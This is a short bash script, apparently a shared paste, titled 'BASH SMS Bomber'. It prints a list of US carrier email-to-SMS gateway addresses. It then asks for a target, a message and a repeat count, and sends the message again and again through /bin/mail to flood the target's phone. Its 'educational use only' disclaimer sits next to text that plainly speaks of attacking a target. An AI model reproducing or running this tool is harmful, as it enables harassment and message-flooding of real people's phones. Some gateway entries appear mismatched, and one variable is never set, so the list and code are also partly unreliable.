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  1. 1.#!/bin/bash
  2. 2.clear
  3. 3.
  4. 4.echo "
  5. 10. BASH SMS Bomber by Pro"
  6. 11.
  7. 12.echo This is for educational use only. Any other use is prohibited, and any damage done is not the authors fault.
  8. 13.## carrier list
  9. 14.echo "Teleflip = n@teleflip.com
  10. 15.Alltel = n@message.alltel.com
  11. 16.Ameritech = n@paging.acswireless.com
  12. 17.ATT Wireless = n@txt.att.net
  13. 18.Bellsouth = n@bellsouth.cl
  14. 19.Boost = n@myboostmobile.com
  15. 20.CellularOne = n@mobile.celloneusa.com
  16. 21.CellularOne MMS = n@mms.uscc.net
  17. 22.Cingular = 1n@mobile.mycingular.com
  18. 23.Edge Wireless = n@sms.edgewireless.com
  19. 24.Sprint PCS = n@messaging.sprintpcs.com
  20. 25.T-Mobile = n@tmomail.net
  21. 26.Metro PCS = n@mymetropcs.com
  22. 27.Nextel = n@messaging.nextel.com
  23. 28.O2 = n@mobile.celloneusa.com
  24. 29.Orange = n@mobile.celloneusa.com
  25. 30.Qwest = n@qwestmp.com
  26. 31.Rogers Wireless = n@pcs.rogers.com
  27. 32.Telus Mobility = n@msg.telus.com
  28. 33.US Cellular = n@email.uscc.net
  29. 34.Verizon = n@vtext.com
  30. 35.Virgin Mobile = n@vmobl.com"
  31. 36.echo ========================================================================================================
  32. 37.echo Above is a USA Carrier Gateway Reference. In order to attack a target you must know the targets carrier.
  33. 38.echo Target number:
  34. 39.
  35. 40.read target
  36. 41.
  37. 42.echo What message do you want to send?:
  38. 43.
  39. 44.read message
  40. 45.
  41. 46.# ./message.txt is the file that will save your message file and the file will be
  42. 47.# read by sendmail
  43. 48.
  44. 49.# deletes the old message.txt file
  45. 50.rm -rf ./message.txt
  46. 51.# makes the new message file
  47. 52.echo $message >> ./message.txt
  48. 53.
  49. 54.echo How many times do you want to send the message?
  50. 55.read times
  51. 56.# this is the number of texts to send
  52. 57.for ((c=1; c<=$times; c++))
  53. 58.do
  54. 59.
  55. 60.# Now this is the string that will send the email.
  56. 61./bin/mail -s "$subject" "$target" < ./message.txt
  57. 62.sleep 1
  58. 63.done
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